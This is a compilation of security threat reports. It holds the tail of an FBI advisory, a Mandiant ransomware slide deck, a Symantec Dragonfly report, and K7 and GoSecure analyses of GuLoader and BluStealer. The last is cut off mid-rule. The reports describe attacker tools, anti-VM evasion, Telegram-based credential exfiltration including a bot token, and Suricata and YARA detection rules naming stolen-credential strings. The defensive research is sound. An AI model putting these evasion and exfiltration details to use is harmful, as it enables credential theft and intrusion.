- Network device management interfaces, such as Telnet, SSH, Winbox, and HTTP, should be turned off for WAN interfaces and secured with strong passwords and encryption when enabled. Identify and suspend access of users exhibiting unusual activity.
- When possible, segment critical information on air-gapped systems. Use strict access control measures for critical data.
## Reporting Notice
The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch). Field office contacts can be identified at www.fbi.gov/contact-us/field. CyWatch can be contacted by phone at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Press inquiries should be directed to the FBI’s National Press Office at npo@fbi.gov or (202) 324-3691.
## Administrative Note
This product is marked TLP:WHITE. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For comments or questions related to the content or dissemination of this product, contact CyWatch.
**Your Feedback on the Value of this Product Is Critical**
Was this product of value to your organization? Was the content clear and concise? Your comments are very important to us and can be submitted anonymously. Please take a moment to complete the survey at the link below. Feedback should be specific to your experience with our written products to enable the FBI to make quick and continuous improvements to such products. Feedback may be submitted online here: https://www.ic3.gov/PIFSurvey. Please note that this survey is for feedback on content and value only. Reporting of technical information regarding FLASH reports must be submitted through FBI CYWATCH. |
# Ransomware Operation Trends
## Mitchell Clarke
- Principal Consultant
- London, UK
- 2.5 years at Mandiant
## Tom Hall
- Principal Consultant
- London, UK
- Five years at Mandiant
## APT
- An attacker has domain admin access to my environment.
- There are multiple persistence mechanisms.
- They likely stole business sensitive data.
- All of my IT infrastructure is down.
- I can’t function as a business.
## REvil/Sodinokibi
### REvil Ransomware as a Service
- First seen May 2019.
- Operated by UNKN.
- Affiliate model:
- Multiple threat actors use the REvil RaaS.
- Affiliates are vetted and buy in.
- Affiliates receive 60% - 75% of payouts depending on performance.
### Each affiliate gains access to the RaaS platform:
- Malware generation.
- Ransom demands and payment service.
- Victim communications.
- Coin laundering.
### Sodinokibi Ransomware
- On the most part, ransomed systems remain functional.
- System-related file extensions and directories are untouched.
- To date, no issues found in crypto.
- Each infected system has a unique private key:
- Encrypted and stored in registry.
- Decrypted with attacker key.
## Time to Ransomware Deployment
- It depends on the affiliate.
- For comprehensive domain-wide ransomware deployment:
- Up to three to four months.
- Some affiliates appear to have a backlog of victims.
## Initial Compromise
- Mass exploitation of high-profile vulnerabilities for internet-facing infrastructure:
- VPN
- SharePoint
- RDP
- Remote Access Applications
- Lateral movement via third parties.
- Credential stuffing of internet infrastructure.
- Phishing.
## Establish Foothold
- Depends on the affiliate:
- Cobalt Strike
- VPN abuse
- Web shells
## Escalate Privileges
- Mimikatz
- ProcDump
- Passwords within Group Policy Preferences.
- Credentials stored in domain shares.
- Credentials stored in user profiles:
- Documents, text files, etc.
## Reconnaissance
- Similar tools to what we see in APT/FIN intrusions as well as Red Team engagements:
- Advanced IP Scanner
- SoftPerfect Network Scanner
- Bloodhound
- Built-in Windows commands.
## Lateral Movement
- WMIExec
- SMBExec
- CrackMapExec
- PsExec
- RDP.
## Maintain Presence
- Cloud remote desktop software.
- Cobalt Strike Beacon.
- Web shells.
- VPN abuse.
- On-premise virtual desktop appliances.
## Data Theft
- Data compression tools.
- Cloud data synchronization platforms.
## Deploy Ransomware
- Disable antivirus across entire estate.
- Disable antivirus across targeted systems.
## Ransomware Negotiation
### The REvil Attack Lifecycle
- Identify Targets
- Initial Compromise
- Establish Foothold
- Escalate Privileges
- Internal Reconnaissance
- Data Theft
- Ransom Event
## QAKBOT and DOPPELPAYMER Partnership Model
- QAKBOT initially deployed as a banking trojan.
- In 2020, the partnership model is seen:
- Ransomware developers are provided access to a compromised environment with QAKBOT.
- Negotiations for payment are handled by the ransomware developers themselves.
## Ransomware Attack Life Cycle
- Identify target organisations.
- Initial Compromise through phishing.
- Establish Foothold with QAKBOT, Cobalt Strike.
- Escalate Privileges with Mimikatz, Procdump.
- Internal Reconnaissance.
- Data Theft with QAKBOT email module.
- Ransom Event.
## DOPPELPAYMER Four Stage Process
1. Enumerates all users and changes password.
2. Registers the ransomware as a service.
3. Changes Boot Configuration Database.
4. Reboots the system and encrypts files.
## Takeaway
- Highly effective.
- High impact.
- Highly active.
## Conclusion: A Continuing Problem
- Everything is increasing:
- Payouts
- Number of victims
- Damage to organisations
- Extortion for stolen data.
- Ransomware is now a boardroom risk.
## Improvements to Tradecraft
- More stealth, less noise.
- Tooling improvements.
- Faster to domain admin.
- Improved ransomware deployment methods.
- Increased effectiveness to delete backups.
## What’s Next?
- Continued focus on mass exploitation of edge devices.
- Limiting factors for the attackers:
- Too many victims.
- Not enough operators.
- No downwards pressure until law enforcement intervention.
- The best organisations can do is to:
- Improve security.
- Improve resilience.
Thank you. |
# Dragonfly: Cyberespionage Attacks Against Energy Suppliers
## Overview
A cyberespionage campaign against a range of targets, mainly in the energy sector, gave attackers the ability to mount sabotage operations against their victims. The attackers, known to Symantec as Dragonfly, managed to compromise a number of strategically important organizations for spying purposes and, if they had used the sabotage capabilities open to them, could have caused damage or disruption to the energy supply in the affected countries.
The Dragonfly group, which is also known by other vendors as Energetic Bear, are a capable group who are evolving over time and targeting primarily the energy sector and related industries. They have been in operation since at least 2011 but may have been active even longer than that. Dragonfly initially targeted defense and aviation companies in the US and Canada before shifting its focus to US and European energy firms in early 2013. More recent targets have included companies related to industrial control systems.
Dragonfly has used spam email campaigns and watering hole attacks to infect targeted organizations. The group has used two main malware tools: Trojan.Karagany and Backdoor.Oldrea. The latter appears to be a custom piece of malware, either written by or for the attackers.
## Timeline
Symantec observed spear phishing attempts in the form of emails with PDF attachments from February 2013 to June 2013. The email topics were related to office administration issues such as dealing with an account or problems with a delivery. Identified targets of this campaign were mainly US and UK organizations within the energy sector.
In May 2013, the attackers began to use the Lightsout exploit kit as an attack vector, redirecting targets from various websites. The use of the Lightsout exploit kit has continued to date, albeit intermittently. The exploit kit has been upgraded over time with obfuscation techniques. The updated version of Lightsout became known as the Hello exploit kit.
A newer approach used by the attackers involves compromising the update site for several industrial control system (ICS) software producers. They then bundle Backdoor.Oldrea with a legitimate update of the affected software. To date, three ICS software producers are known to have been compromised.
The Dragonfly attackers used hacked websites to host command-and-control (C&C) software. Compromised websites appear to consistently use some form of content management system.
## Victims
The current targets of the Dragonfly group, based on compromised websites and hijacked software updates, are the energy sector and industrial control systems, particularly those based in Europe. While the majority of victims are located in the US, these appear to mostly be collateral damage. That is, many of these computers were likely infected either through watering hole attacks or update hijacks and are of no interest to the attacker.
By examining victims with active infections – where additional malicious activity has been detected – it is possible to gather a more accurate picture of ‘true’ victims. The most active infections are in Spain, followed in order by the US, France, Italy, and Germany.
## Tools and Tactics
Dragonfly uses two main pieces of malware in its attacks. Both are Remote Access Tool (RAT) type malware which provide the attackers with access and control of compromised computers. Dragonfly’s favored malware tool is Backdoor.Oldrea, which is also known as Havex or the Energetic Bear RAT. Oldrea acts as a back door for the attackers on to the victim’s computer, allowing them to extract data and install further malware.
Oldrea appears to be custom malware, either written by the group itself or created for it. This provides some indication of the capabilities and resources behind the Dragonfly group. The second main tool used by Dragonfly is Trojan.Karagany. Unlike Oldrea, Karagany was available on the underground market. The source code for version 1 of Karagany was leaked in 2010. Symantec believes that Dragonfly may have taken this source code and modified it for its own use.
Symantec found that the majority of computers compromised by the attackers were infected with Oldrea. Karagany was only used in around 5 percent of infections. The two pieces of malware are similar in functionality and what prompts the attackers to choose one tool over another remains unknown.
### Spam Campaign
The Dragonfly group has used at least three infection tactics against targets in the energy sector. The earliest method was an email spear phishing campaign, which saw selected executives and senior employees in target companies receive emails containing a malicious PDF attachment. Infected emails had one of two subject lines: “The account” or “Settlement of delivery problem.” All of the emails were from a single Gmail address.
The spam campaign began in February 2013 and continued into June 2013. Symantec identified seven different organizations targeted in this campaign. At least one organization was attacked intermittently for a period of 84 days.
### Watering Hole Attacks
In June 2013, the attackers shifted their focus to watering hole attacks. They compromised a number of energy-related websites and injected an iframe into each of them. This iframe then redirected visitors to another compromised legitimate website hosting the Lightsout exploit kit. This in turn exploited either Java or Internet Explorer in order to drop Oldrea or Karagany on the victim’s computer. The fact that the attackers compromised multiple legitimate websites for each stage of the operation is further evidence that the group has strong technical capabilities.
In September 2013, Dragonfly began using a new version of this exploit kit, known as the Hello exploit kit. The landing page for this kit contains JavaScript which fingerprints the system, identifying installed browser plugins. The victim is then redirected to a URL which in turn determines the best exploit to use based on the information collected. Fifty percent of identified targets were energy industry related and thirty percent were energy control systems. A clear shift in the attackers targeting can be seen in March 2014 when energy control systems became the primary target.
### Trojanized Software
The most ambitious attack vector used by Dragonfly was the compromise of a number of legitimate software packages. Three different ICS equipment providers were targeted and malware was inserted into the software bundles they had made available for download on their websites.
## Source Time Zone
Analysis of the compilation timestamps on the malware used by the attackers indicate that the group mostly worked between Monday and Friday, with activity mainly concentrated in a nine-hour period that corresponded to a 9am to 6pm working day in the UTC +4 time zone.
## Conclusion
The Dragonfly group is technically adept and able to think strategically. Given the size of some of its targets, the group found a “soft underbelly” by compromising their suppliers, which are invariably smaller, less protected companies.
## Appendix - Technical Description
Identification of this group is based on the use of two malware families and an exploit kit. The malware families utilized are Backdoor.Oldrea and Trojan.Karagany. The exploit kit is known as Lightsout and/or Hello. Hello is an updated iteration of Lightsout that the Dragonfly group began to use in September 2013.
Use of Backdoor.Oldrea appears to be limited to the Dragonfly group. In addition, specific instances of Trojan.Karagany have been used by this group. Karagany is a Russian RAT sold on underground forums. Instances of this malware related to the Dragonfly group are identified based on them being delivered through the Lightsout exploit kit and also a particular packer that this group used. Symantec detects the Trojan.Karagany packer used by this group as Trojan.Karagany!gen1.
The Lightsout exploit kit is a simple exploit kit that is consistently used to deliver primarily Backdoor.Oldrea and, in several instances, Trojan.Karagany.
### Lightsout Exploit Kit
A number of sites that use content management systems were exploited and an iframe was used in order to redirect visitors to sites hosting the Lightsout exploit kit. The exploit kit uses browser (e.g., Internet Explorer and Firefox) and Java exploits in order to deliver either Backdoor.Oldrea or Trojan.Karagany.
In September 2013, the Dragonfly group began using a new version of Lightsout, also known as the Hello exploit kit. The JavaScript included in the landing page redirects the browser to a URL that depends on the fonts installed on the system, browser add-ons, the OS version, and the user agent. At this point, it determines the best exploit to use, based on the information provided, and generates an appropriate URL to redirect the user to the appropriate exploit/payload.
### Backdoor.Oldrea
At the core of Backdoor.Oldrea is a persistent component that interacts with C&C servers to download and execute payloads. The components are downloaded by reaching out to the C&C server and performing a GET request which returns an HTML page containing a base64 encoded string between two comments marked with the ‘havex’ string.
**Installation**
**File system modifications**
- %Temp%\qln.dbx
- %System%\TMPprovider 038.dll
**Registry modifications**
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\“TmProvider”
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\“TmProvider”
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\InternetRegistry\“fertger”
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\InternetRegistry
**Code injection**
- Backdoor.Oldrea injects code into explorer.exe.
**Networking**
Post infection, Backdoor.Oldrea will attempt to collect system information such as OS, user name, computer name, country, language, nation, Internet adapter configuration information, available drives, default browser, running processes, desktop file list, My Documents, Internet history, program files, and root of available drives. It also collects data from Outlook (address book) and ICS related software configuration files. This data is collected and written to a temporary file in an encrypted form before it is POST’ed to a remote C&C server.
### Trojan.Karagany
Trojan.Karagany is a back door used primarily for recon. It is designed to download and install additional files and exfiltrate data. Samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer/protector for the payload. Where present in samples, the Delphi packer is configured to use ‘neosphere’ as a key to decrypt the payload.
**Installation**
Trojan.Karagany creates a folder in the user APPDATA directory and chooses the directory name from a predefined list. It copies itself in the created directory with hidden and system attributes using a file name chosen from another predefined list. It then creates a link to itself in the Startup folder as an autostart when the system restarts.
**Networking**
Trojan.Karagany first checks for a live Internet connection by visiting Microsoft or Adobe websites. It will only reach out to its C&C server once this check is successful.
### Indicators of Compromise
**Lightsout Exploit Kit**
**Watering Holes**
- Detected exploit sites hosting the Lightsout exploit kit and referrer.
**Backdoor.Oldrea**
- Recent Oldrea C&C servers detected by Symantec.
**Trojan.Karagany**
- Format of data initial POST request made to C&C server.
**Yara Rule**
- Karagany Yara rule. |
# GuLoader Snowballs via MalSpam Campaigns
By K7 Labs
February 17, 2021
GuLoader is one of the well-known downloader malware of 2020, as its prevalence was very high during the first half of the year. Its common payloads were FormBook, Agent Tesla, LokiBot, Remcos RAT, just to name a few, which were delivered by abusing storage services like OneDrive, Google Drive, etc. Our first encounter with the GuLoader binary was in March 2020 when it was delivering FormBook in a spam campaign. Later, Check Point revealed their findings about the similarities between GuLoader and CloudEye, a protector for binaries.
Recently, we got our hands on the latest GuLoader binary which was submitted to bazzar[.]abuse[.]ch by JAMESWT (@JAMESWT_MHT). It came as an email attachment. The email seemed interesting because the sender’s name was Amit Saini claiming to be from Coca-Cola, Bangalore, India.
The infection vector hasn’t changed yet, but we at K7 Labs still keep track of GuLoader because of the efforts taken by them to keep improving their code for detecting the Virtual/Debug environment. Although some of the tricks are old, they still get the job done. In this blog, we’ll see the improvements that have been made to the code over time.
## Anti-Analysis & Anti-VM/Debug Techniques
1. Debugger Anti-Attach technique – using `ntdll.ZwSetInformationThread()` with parameter `0x11`
2. Patching `ntdll.DbgBreakPoint()` and `ntdll.DbgUiRemoteBreakin()`
3. Patching User mode hooks – patching the first 5 bytes of unconditional jump (`0xe9 ????????`) set by some AV & sandboxes
### GuLoader after July 2020
In addition to previous techniques mentioned above, there were some more tricks found in the binary which was received after the end of June:
1. `ZwQueryVirtualMemory()` – to detect execution within a virtual machine
2. Check breakpoints
3. Enumerating the active windows using `EnumWindows()` API
4. Checking for `qemu-ga.exe` and `qga.exe` under Program Files.
While all these were documented tricks, there are two tricks in particular which were quite interesting to us.
The RDTSC and CPUID instruction combination uses the RDTSC instruction to get the elapsed time in EAX:EDX and performs an OR operation between EAX & EDX and saves it in ESI. Then it calls the CPUID instruction with EAX=1 and checks if the 31st bit (0x1f) is set (by default it is 0 & if run under a virtual machine it will be set) and then exits execution by displaying a popup message stating “The program cannot be run under virtual Environment or debugging software!”.
Again, it calls the RDTSC instruction and performs the OR operation between EDX and EAX and subtracts the new result from the previous result stored in ESI. In normal execution, the difference between two RDTSC instructions will never be 0, but the code checks if the difference is less than or equal to 0, which results in an endless loop.
Apart from the infinite loop mentioned above, it also uses one more loop which executes for `0x186a0` times (that is 100000 times). The value `0x186a0` is stored in ECX and performs addition between EDI (EDI=0 initially) and the result received after the difference between two RDTSC instructions. This loop is executed till ECX becomes 0, and if the value in EDI after the loop ends is greater than `0x68e7780`, it again returns to the start of the check where it again sets ECX to `0x186a0`.
It retrieves the name of the active window and creates a hash with it and matches it with the predefined hash stored in the code.
### GuLoader 2021
The GuLoader sample which was analyzed recently had almost every check mentioned above except for the active window hash comparison. Instead, they have a different hash comparison technique.
Using `MsiEnumProductsA()` and `MsiGetProductInfo()` function, it first calls `MsiEnumProductsA()` function with `iProductIndex` as 0 and increments it by 1 for subsequent calls. It returns a product code which is a 38 character GUID with a null terminating character making it 39 characters long. This GUID is given as input to `MsiGetProductInfo()` function to retrieve the product name installed, and this loop is executed for `0xff` times.
The result received after a call to `MsiGetProductInfo()` is the name of the product in strings which needs to be converted to a hash for comparison. This eliminates performance overhead since comparing each character sequentially takes time. The hashing function used here is djb2.
The hashes used in the code (like `0x7c8aa9fd`, `0x9b8ffb51`) are unknown to us at this point in time, but anyone can guess that it must be mostly related to checking if AV, sandboxes, or debuggers are installed.
The use of `NtQueryInformationProcess()` with `processInformationClass` parameter as `0x07` (process debug port) is well documented and is an old trick to detect if the process is being debugged.
Code implementation changes – to make the process of reversing/debugging a little harder, they have implemented spaghetti code which is a code having a lot of jumps and calls.
Once all these Anti-VM and Anti-Debugging checks are over, it proceeds to download the encrypted binary from the domain stated and copies it to a buffer space and decrypts it.
The domain is still live and seems to be bogus because the domain name mentioned in the contact section of the page is `repair-electronics[.]com`, whereas the domain name active is `repair-electrons[.]com`, and the “created by Mohamad Chedid” line under the copyright symbol has an HTML href tag, which is blank and doesn’t redirect anywhere. When viewing the source of the page, there is a commented line saying “Free HTML5 template developed by FREEHTML5.CO”.
Threat actors are always evolving by modifying their tools with improved techniques and tricks to evade detection and make the analysis harder. Here at K7 Labs, we actively monitor such malware and have proactive detection for all the files. So stay safe from these kinds of attacks in this pandemic situation by using a reputed AV product such as K7 products.
## Indicators Of Compromise (IOCs)
- **MD5:** 1C8B24FCF8143C9035EE722EC8714EB0
- **File Name:** EXTERNAL RFP – PAN India Epoxy PU – 2021.exe
- **K7 Detection Name:** Trojan (005774081)
- **URL:** hxxps[:]//www[.]repair-electrons[.]com |
# GoSecure Titan Labs Technical Report: BluStealer Malware Threat
GoSecure Titan Labs obtained a sample of the high-profile malware identified as BluStealer that can steal credentials, passwords, credit card data, and more. The expert investigators at Titan Labs developed this detailed analysis that examines the infection vector, components, methods of exfiltration, and capabilities.
This sample of an optical disc image (ISO) file (01d4b90cc7c6281941483e1cccd438b2) from GoSecure’s Inbox Detection and Response (IDR) team embedded within the ISO file is a 32-bit executable (6f7302e24899d1c05dcabbc8ec3e84d4) compiled in Visual Basic 6. The following is an in-depth analysis of the portable executable (PE).
## Analysis
### 2.0.1 Infection Vector
The initial infection vector is via malspam containing links to cdn.discord.com. Using Discord’s content delivery network (CDN) as a malware distribution system continues to grow in popularity among threat actors. The email (1010589761b3051eec33681d0513242a) in this case purports to be from DHL Express, stating that a shipment is on the way and that it can be tracked or changed by clicking the link labelled here, which downloads the malicious ISO file from hxxps://cdn[.]discordapp[.]com/attachments/829530662406193185/882109821736865832/Your_DHL_Shipment_Notification.pdf.iso. This particular campaign does not exclusively use DHL spoofed emails, as emails spoofing other companies have also been observed dropping the same final payload.
### 2.0.2 BluStealer’s Main Component
As displayed in the resource section of the PE, it contains data with extremely high entropy, indicating that it is encrypted. This, along with the large size of the resource section, suggests that the PE is a loader. Examining the resource section reveals two large arrays of encrypted data contained within a segment of the resource section named CUSTOM.
Opening the PE in x64dbg, we can see that the first instruction at the entry point is a call to MSVBVM60.ThunRTMain. Executables compiled in VB6 and lower begin with a call to ThunRTMain, which takes an address as its only argument. This address points to a structure, beginning with VB5!, that contains information about the given program. At an offset of 45 bytes, the structure normally contains the address of aSubMain, which is the program’s main function. However, in this instance, the address consists of only null bytes, indicating that the executable had either been obfuscated or had its compilation routine modified.
Once inside user-defined code, it can be seen that an encryption key is created with a call to bcrypt.BCryptGenerateSymmetricKey. Next, an array is created that contains the hex values 1 through 1300. Each element of the array is allotted 16 bytes.
Using the encryption key that was created previously, the malware encrypts the newly initialized array with a call to bcrypt.BCryptEncrypt. These encrypted bytes will be used as XOR keys.
The malware then loads the first array of ciphertext from its resource section into memory and proceeds to decrypt it. As can be observed from the decryption routine, a byte from the ciphertext, pointed to by the address stored in the ESI register, is moved into the BL register. This value is then XORed with a XOR key, pointed to by the address stored in the EAX register. The resulting value is then moved back to its original place in the ciphertext array. The pointers to both the ciphertext and XOR keys are incremented by one, and the process continues in a loop until the ciphertext is fully decrypted.
The decrypted ciphertext yields a PE. The malware loads the PE with a call to user32.CallWindowProcW, with C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe as its second argument and the PE’s address as its third. In this manner, the PE is executed with AppLaunch.exe, which is a Microsoft .NET launch utility. This confirms our suspicions that the malware is indeed a loader.
### 2.0.3 ChromeRecovery.exe Stealing Module
The loaded PE, a 32-bit .NET assembly with the internal name ChromeRecovery.exe and the MD5 hash 53e09987f7b648fb5c594734a8f7c4e4, begins by gathering system information, such as the computer name, username, Windows version, antivirus solution, CPU name, GPU name, the amount of RAM, internal IP, and external IP. This information is written to C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Templates\credentials.txt. It steals login credentials and credit card data from numerous web browsers, such as Chrome, Edge, FireFox, Opera, and Yandex, by targeting the Cookies and Web Data caches. It also steals login credentials from Pidgin, NordVPN, SQLite, FileZilla, and CoreFTP, and numerous email clients, such as Outlook, ThunderBird, and Foxmail. It appends all data to credentials.txt.
Contained within ChromeRecovery.exe’s resource section is a 32-bit .Net assembly with the internal name ConsoleApp8.exe (4509c33c251e8e075e4aa95001e35cdf), which is saved to the Templates directory, executed, and then deleted. ConsoleApp8.exe steals credentials from Windows Vault and WinSCP and appends them to credentials.txt. One of our file detection signatures entitled malware_blustealer_0 alerted on ChromeRecovery.exe as BluStealer. Interestingly, the malware sample that the signature was based on was a 32-bit VB6-compiled executable (a1329dab78d5bac41e39034d840c30f1), analyzed in June of this year. Comparing both samples, we found that BluStealer’s full functionality was originally contained within a single PE file. However, it would appear as though BluStealer’s authors have opted for a more modular malware, spreading its functionality, as well as enhancing it, across multiple binaries.
### 2.0.4 ThunderFox.exe Stealing Module
When execution is transferred back to the loader, it loads the second array of ciphertext from its resource section into memory and proceeds to decrypt it in the exact same manner as it employed with the first one. This also results in a 32-bit .NET assembly (00cdcfc91db339be14f441be75e0dec7), which is also loaded with AppLaunch.exe via user32.CallWindowProcW. Opening the file, internally named 5.exe, in dnSpy reveals that it decompresses the file entitled app from its resource section and reflectively loads it via a call to MethodBase.Invoke.
The decompressed file is yet another 32-bit .NET Assembly (6ae510da968ebcbf5a8661c080ac12fd). Its name, ThunderFox.exe, is an amalgamation of ThunderBird and FireFox since it targets Mozilla products, which also includes Waterfox, K-Meleon, IceDragon, Cyberfox, BlackHawK, and Pale Moon. These products are also targeted by ChromeRecovery.exe but in a different manner. ThunderFox extracts login credentials from logins.json, key4.db, signons.sqlite, and key3.db. logins.json stores encrypted passwords for Mozilla products, while key4.db is the Network Security Services (NSS) key database used to store Mozilla encryption data, which is required to decrypt the encrypted passwords in logins.json. The stolen data is formatted the same as with ChromeRecovery and is also appended to credentials.txt.
### 2.0.5 Exfiltration Traffic
Once ThunderFox is finished and execution is transferred back to BluStealer’s main module, it makes a call to winhttp.WinHttpConnect, which returns a connection handle to an HTTP session. The second argument, specifying the target server, is api.telegram.org, which is being used as BluStealer’s C2 infrastructure.
The final POST request and response from its C2 server can be viewed. The request’s URL begins with the BotID 1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs, followed by the directory entitled sendDocument with the arguments chat_id and caption. The value of caption is the name of the text document containing the stolen information, followed by the delimiter :::, and the victim’s computer name and username.
BluStealer sends another HTTP POST request, which unlike the first one, is not of the Content-Type multipart/form-data. It sends the stolen data as in the first request. However, the URL is different from that of the first one, as it ends in the directory sendMessage instead of sendDocument and is without arguments. Moreover, the victim’s computer name and username are now contained within the text parameter and follow the value Passwords. It should be noted that the network traffic from BluStealer’s June sample shares many similarities with the present sample. However, it is sent over Simple Mail Transfer Protocol (SMTP) rather than HTTP.
### 2.0.6 BluStealer’s Main Component’s Stealing Capabilities
Besides the ability to load stealing modules and exfiltrate data, the main component also comes with its own stealing capabilities. It makes a call to msvbvm60.rtcDir, an undocumented VB runtime function that returns file names from a directory. The directory being inquired about is Zcash, which is a cryptocurrency.
BluStealer’s main component also has keylogging functionality, which is achieved by employing the commonly used method of polling user32.getAsyncKeyState, which determines whether a key is pressed or not at the time of the call.
## Conclusion
The newly discovered threat BluStealer is equipped with a robust credential stealing tool set and is following the unfortunate trend of utilizing legitimate services, such as Telegram and Discord, for its malware infrastructure, which makes detection increasingly challenging. By closely monitoring, analyzing, and reverse engineering, GoSecure Titan Labs, as part of our MDR offering, have created signatures to detect the emerging threats discussed in this report.
## Indicators of Compromise
| Type | Indicator | Description |
|------|-----------|-------------|
| MD5 | 1010589761b3051eec33681d0513242a | Malspam Email |
| MD5 | 01d4b90cc7c6281941483e1cccd438b2 | ISO File |
| MD5 | 6f7302e24899d1c05dcabbc8ec3e84d4 | BluStealer’s Main Component |
| MD5 | 53e09987f7b648fb5c594734a8f7c4e4 | ChromeRecovery.exe |
| MD5 | 4509c33c251e8e075e4aa95001e35cdf | ConsoleApp8.exe |
| MD5 | 00cdcfc91db339be14f441be75e0dec7 | 5.exe |
| MD5 | 6ae510da968ebcbf5a8661c080ac12fd | ThunderFox.exe |
| MD5 | a1329dab78d5bac41e39034d840c30f1 | BluStealer June Sample |
## Detection
GoSecure Titan Labs are providing the following signatures to help the community in detecting and identifying the threats discussed in this report.
```plaintext
alert smtp any any -> $EXTERNAL_NET any (
msg:"GS MALWARE BluStealer SMTP Exfiltration";
content:"Subject|3a 20|Passwords::::"; nocase; fast_pattern;
content:"\"; distance:0;
flow:to_server, established;
metadata:created 2021-07-02, type malware.stealer, os windows, tlp white, id 0;
classtype:trojan-activity;
sid:300001712;
rev:1;
)
alert http any any -> $EXTERNAL_NET any (
msg:"GS MALWARE BluStealer HTTP Exfiltration Group 1";
content:"POST"; http_method;
content:"caption=credentials.txt:::"; http_uri; nocase; fast_pattern;
flow:to_server, established;
metadata:created 2021-09-10, type malware.stealer, os windows, tlp white, id 1;
classtype:trojan-activity;
sid:300001775;
rev:1;
)
alert http any any -> $EXTERNAL_NET any (
msg:"GS MALWARE BluStealer HTTP Exfiltration Group 2";
content:"POST"; http_method;
content:"text=Passwords:::"; http_client_body; depth:17; nocase; fast_pattern;
flow:to_server, established;
metadata:created 2021-09-16, type malware.stealer, os windows, tlp white, id 2;
classtype:trojan-activity;
sid:300001776;
rev:1;
)
```
```plaintext
rule malware_other_vb5_loader_0 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "VB5/6-based Loaders"
hash = "6f7302e24899d1c05dcabbc8ec3e84d4"
created = "2021-09-10"
os = "windows"
type = "malware.loader"
tlp = "white"
rev = 1
strings:
$obfuscated_aSubMain = { 56 42 35 21 [40] 00 00 00 00 }
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
math.entropy(0, filesize) >= 7.0 and
pe.imports("MSVBVM60.dll", 100) and
$obfuscated_aSubMain
}
```
```plaintext
rule malware_blustealer_0 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "Blustealer Unpacked Infostealer"
created = "2020-06-29"
type = "malware.stealer"
hash = "a1329dab78d5bac41e39034d840c30f1"
os = "windows"
tlp = "white"
rev = 1
strings:
$string1 = "::::" ascii wide
$string2 = "CompName: " ascii wide
$string3 = " - 64-bit" ascii wide
$string4 = "=============================" ascii wide
$stealer1 = "COREFTP" ascii wide
$stealer2 = "Outlook" ascii wide
$stealer3 = "signons.sqlite" nocase ascii wide
$stealer4 = "filezilla" nocase ascii wide
$stealer5 = "nordvpn" nocase ascii wide
$stealer6 = "firefox" nocase ascii wide
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
filesize < 464KB and
2 of ($string*) and
3 of ($stealer*)
}
```
```plaintext
rule malware_blustealer_1 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "BluStealer Main Component"
hash = "6f7302e24899d1c05dcabbc8ec3e84d4"
created = "2021-09-10"
os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:
$obfuscated_aSubMain = { 56 42 35 21 [40] 00 00 00 00 }
$MSVBVM60 = "MSVBVM60.dll" ascii wide nocase
$decryption_routine = { 8b [5] 8b [2] 03 [5] 0f 80 [4] 8b [5] 89 [2] 8b [5] 8b [2] 3b [5] 7f ?? ff 7? ?? 8b [2] ff 3? e8 [4] 8b ?? 8b [5] ff 7? ?? 8b [5] ff 7? ?? e8 [4] 8a ?? 32 ?? ff 7? ?? 8b [2] ff 3? e8 [4] 88 ?? 8b [2] 83 c? ?? 0f 80 [4] 89 [2] eb }
$behavior_0 = "https://api.telegram.org/bot" ascii wide
$behavior_1 = "/sendDocument?chat_id=" ascii wide
$behavior_2 = "&caption=" ascii wide
$behavior_3 = "text=" ascii wide
$behavior_4 = "&chat_id=" ascii wide
$behavior_5 = "Content-Disposition: form-data; name=\"document\"; filename=\"" ascii wide
$behavior_6 = "\\Ethereum\\keystore" ascii wide
$behavior_7 = "RegWrite" ascii wide
$behavior_8 = "\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe" ascii wide
$behavior_9 = "\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe" ascii wide
$behavior_10 = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" ascii wide
$behavior_11 = "GetAsyncKeyState" ascii wide
$behavior_12 = "SHFileOperationA" ascii wide
$behavior_13 = "GetDesktopWindow" ascii wide
$behavior_14 = "SHGetSpecialFolderLocation" ascii wide
$behavior_15 = "SHGetPathFromIDListA" ascii wide
$behavior_16 = "CallWindowProcW" ascii wide
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
$obfuscated_aSubMain and
$MSVBVM60 and
($decryption_routine or 13 of ($behavior_*))
}
```
```plaintext
rule malware_thunder_fox_gzip_0 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "Gzip Compressed ThunderFox Stealer"
hash = "00cdcfc91db339be14f441be75e0dec7"
created = "2021-09-15"
os = "windows"
type = "malware.stealer"
tlp = "white"
rev = 1
strings:
$compressed_payload = { 00 00 00 00 00 20 FA 48 04 00 1F 8B 08 00 00 00 00 00 04 00 AC BD 09 80 1C 47 75 37 3E D3 77 CF B5 5B D3 B3 3D B3 BB D2 CE 4A F2 4A AD E9 99 95 76 57 C7 4A 3E 24 1F F8 C4 B6 6C 0B 7B 46 3E 24 }
condition:
uint16(0) == 0x5a4d and
uint32(uint32(0x3c)) == 0x00004550 and
$compressed_payload
}
```
```plaintext
rule malware_thunder_fox_0 {
meta:
author = "Titan Labs"
company = "GoSecure"
description = "ThunderFox Stealer"
hash = "6ae510da968ebcbf5a8661c080ac12fd"
created = "2021-09-15"
os = "windows"
